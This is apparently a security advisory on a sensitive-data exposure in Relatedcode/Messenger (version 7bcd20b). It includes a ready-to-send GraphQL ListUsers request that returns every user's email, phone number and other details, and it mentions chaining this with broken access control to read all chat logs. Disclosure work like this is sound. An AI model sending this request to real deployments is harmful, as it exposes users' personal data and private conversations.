Description
Relatedcode/Messenger version 7bcd20b allows an authenticated external attacker to access sensitive data of any user of the application. This is possible because the application exposes user data to the public.
Vulnerability
The application exposes the session data of the users of the application to the public. Among the exposed data are:
- ID
- PhoneNumber
- Etc
The ID exposed in this vulnerability will help us to exploit even a broken access control present in this application.
Exploitation
To exploit this vulnerability, simply create an account on the server and then send the following request:
POST /graphql HTTP/2
Host: relatedchat.io:4000
User-Agent: Something
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://relatedchat.io/
Content-Type: application/json
Authorization: Bearer [YOUR TOKEN]
Origin: https://relatedchat.io
Content-Length: 356
{"operationName":"ListUsers","variables":{},"query":"query ListUsers($updatedAt: Date, $workspaceId: String) {\n listUsers(updatedAt: $updatedAt, workspaceId: $workspaceId) {\n objectId\n displayName\n email\n fullName\n phoneNumber\n photoURL\n theme\n thumbnailURL\n title\n workspaces\n createdAt\n updatedAt\n }\n}"}
Impact
An authenticated remote attacker can access sensitive user data. This allows an attacker to obtain enough information to escalate to more serious attacks. In our case, we managed to exploit a broken access control thanks to the data leaked in this vulnerability. Thanks to this I was able to access all the internal chat logs of all registered users.
